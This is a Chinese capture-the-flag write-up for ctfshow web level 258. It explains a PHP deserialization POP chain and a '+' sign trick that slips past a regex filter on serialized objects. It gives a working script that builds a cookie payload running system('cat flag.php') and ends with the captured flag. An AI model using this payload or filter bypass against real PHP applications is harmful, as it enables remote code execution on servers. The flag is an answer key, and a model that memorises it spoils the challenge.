ctf show web 入门258

本题跟上一题思路基本一致

都是通过pop链最后让 eval()函数执行,并且通过反序列化将eval()函数中传入system(cat flag.php)想要执行eval()函数要先执行getinfo()方法,通过代码审计可以知道要执行getinfo()方法得先执行__destruct()方法

要执行__destruct()方法就要有一个对象被销毁,在我们传递完username和password的值后就会执行__destruct()方法

但是这一天增加了过滤机制,在反序列化之前,多了一行代码:

if(!preg_match('/oc:\d+:/i', $_COOKIE'user'))

这句正则表达式会检查 Cookie 字符串,如果里面包含 "不区分大小写的 o: 或 c: 后面紧跟一个或多个数字,再紧跟一个冒号" 的结构,就会拦截,不执行反序列化

PHP 在解析反序列化字符串时,对于表示类名长度的数字,前面如果带有一个正号 +,它依然能够成功将其转换为整型

因为多了一个 + 号,正则匹配中的 \d+(纯数字)就被打破了(变成了 + 后面接数字),从而成功绕过 preg_match,而后面的 unserialize() 在执行时会自动把 +11 处理成 11,正常反序列化

我们可以直接在本地写一个简单的脚本

php 复制代码
<?php
class ctfShowUser {
    public $username = 'xxxxxx';
    public $password = 'xxxxxx';
    public $isVip = false;
    public $class;
}

class backDoor {
    public $code = "system('cat flag.php');";
}

$b = new backDoor();
$u = new ctfShowUser();
$u->class = $b;

$payload = serialize($u);

// 手动或自动在 O: 后面补上 + 号
// 替换前:O:11:"ctfShowUser" -> 替换后:O:+11:"ctfShowUser"
$payload = str_replace('O:', 'O:+', $payload);

echo urlencode($payload); 
// 注意:加号(+)在 URL 传输中会被浏览器误认为空格,所以这里必须进行 urlencode 编码,把 + 变成 %2B
?>

这个php代码运行后生产的payload已经帮我们绕过了正则限制,所以我们可以直接把它放到cookie中

这里的username和password的值随便传,按下回车后检查源代码就可以得到flag

ctfshow{69dba413-7d8b-47f0-8af9-ec267214e14e}

相关推荐
90后的晨仔6 分钟前
uni-app项目 Vue3 状态管理 Pinia 完全指南:从概念到实战的深度解析
前端
90后的晨仔23 分钟前
uni-app 在 iOS 平台跳转页面时移除底部安全区域的完整技术指南
前端
峥无30 分钟前
从0到1手撕红黑树:封装实现 my_map 与 my_set(SGI-STL 源码级深度解析)
开发语言·c++·笔记·算法·stl
用户9385156350731 分钟前
React + JWT 登录鉴权底层原理与工程化实践
前端·react.js
zww894911134 分钟前
家政派单系统开发实战:架构设计与派单算法指南
前端·系统架构
不会代码的小猴1 小时前
3. 控件学习1
开发语言·c++·笔记·qt·算法
fangzhanpeng1681 小时前
(前端)2.js变量作用域样例
开发语言·前端·javascript
赵广陆1 小时前
企业实战:web服务集成
前端·pycharm·fastapi
demo007x2 小时前
Hermes-Agent 技术架构
前端·后端·agent
叶辞树2 小时前
Android CLI
android